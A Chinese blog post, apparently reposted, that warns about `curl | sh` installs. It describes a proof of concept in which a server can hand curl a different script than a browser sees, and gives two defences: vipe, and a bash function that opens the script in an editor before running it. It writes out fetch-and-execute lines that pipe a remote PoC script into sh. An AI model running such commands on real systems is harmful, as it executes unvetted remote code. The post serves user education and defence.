博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
保护你自己免受 `curl <url> | sh`的危害
阅读量:5254 次
发布时间:2019-06-14

本文共 1750 字,大约阅读时间需要 5 分钟。

除非你最近没有安装过开发者关注的第三方软件,否则你很可能被建议使用如下命令直接从网络上进行安装。

 

1
curl -s http:
//example
.com
/install
.sh | sh

 

   本文并不是为了讨论这个方法的好坏,而是为了提醒那些使用此方法的人,这个方法除了那些明显的缺点外,它还有另一个隐患:直接将第三方数据通过管道传入 shell。现在有很多关于这个方法的讨论,支持它的一种观点认为要执行的脚本是透明的——你可以在命令执行前用浏览器打开该脚本并对其进行简单的检查。

 

  本文的主要目的在于 a)说明这种程度的信任是可以被劫持的,并且b)在使用curl安装软件时为你提供一个简便的保护方式。

 

概念验证 —— 一切并非表面看到的那样

  直接切入正题,这种攻击基于以下原理:.sh文件的内容很容易检验其安全性,在浏览器中看到的内容与通过curl下载的内容一样。这一假设的问题在用浏览器和curl两种方式用不同的user-agent,因此如果有人知道这点并加以利用将危害这个.sh文件()。

 

  因此,一个简单的概念定义已经出来:你可以在上看全部源代码或者看;POC被挂在一个免费的Heroku dyno上,所以如果打不开,很可能是已经挂掉了。

 

  为了快速测试一下,在你检查了浏览器上.sh文件的URL后简单在终端上运行下面的命令。如果你用curl不是发出的同一个user-agent,你得到的结果将是不同的。

1
curl -s http:
//pipe-to-sh-poc
.herokuapp.com
/install
.sh | sh

 

  

解决方案

   最简单的办法是每执行一个文件前, 先查看里面的内容. 具体的方法有两种, 道理都差不多, 都是在 curl 之后, sh 之前执行; 一旦你发现有可疑的命令/代码, 只要把编辑器关掉, 并确保编辑器退出的时候, 返回一个非零错误代码.  (比如: 在 Vim 中, 你可以使用 :cq 退出). 方法1 需要安装, 方法2 输入命令的时候少打几个字. 至于用哪一个, 看你个人喜好了.

 

  方法1) 由于Vipe 允许你把运行编辑器的命令插入 unix 管道中, 查看或修改传递给后面程序的数据. 我们可以使用 Vipe 在 sh 执行之前查看文件的内容.

1
curl -s http:
//pipe-to-sh-poc
.herokuapp.com
/install
.sh | vipe | sh

 

  Vipe 属于 themoreutils 软件包的一部分, 你可以在下列系统中安装:

  • Mac OSX 用 homebrew:brew install moreutils.

  • Ubuntu 用 apt:apt-get install moreutils.

  • 其他 *nix 系统, 可以使用软件源安装.

 

  方法2) 自己定义 bash 函数. 找到 .bashrc 文件, 然后把下列代码复制进去保存就可以了:

1
2
3
4
5
6
# Safer curl | sh'ingfunction curlsh {
    
file
=$(mktemp -t curlsh) || { 
echo 
"Failed creating file"
return
; }
    
curl -s 
"$1" 
> $
file 
|| { 
echo 
"Failed to curl file"
return
; }
    
$EDITOR $
file 
|| { 
echo 
"Editor quit with error code"
return
; }
    
sh $
file
;
    
rm 
$
file
;}

 

  调用的时候这么写:

1
curlsh http:
//pipe-to-sh-poc
.herokuapp.com
/install
.sh

 

  $EDITOR 是你选的编辑器, 它会在文件执行前, 将文件打开, 方便你查看里面的内容.

 

http://www.lupaworld.com/article-243631-1.html

转载于:https://www.cnblogs.com/punk33/p/4086433.html

你可能感兴趣的文章
价值观
查看>>
mongodb命令----批量更改文档字段名
查看>>
CentOS 简单命令
查看>>
使用&nbsp;SharedPreferences 分类: Andro...
查看>>
TLA+(待续...)
查看>>
题解: [GXOI/GZOI2019]与或和
查看>>
MacOS copy图标shell脚本
查看>>
国外常见互联网盈利创新模式
查看>>
Oracle-05
查看>>
linux grep 搜索查找
查看>>
Not enough free disk space on disk '/boot'(转载)
查看>>
android 签名
查看>>
vue项目中使用百度统计
查看>>
android:scaleType属性
查看>>
SuperEPC
查看>>
mysql-5.7 innodb 的并行任务调度详解
查看>>
shell脚本
查看>>
Upload Image to .NET Core 2.1 API
查看>>
Js时间处理
查看>>
Java项目xml相关配置
查看>>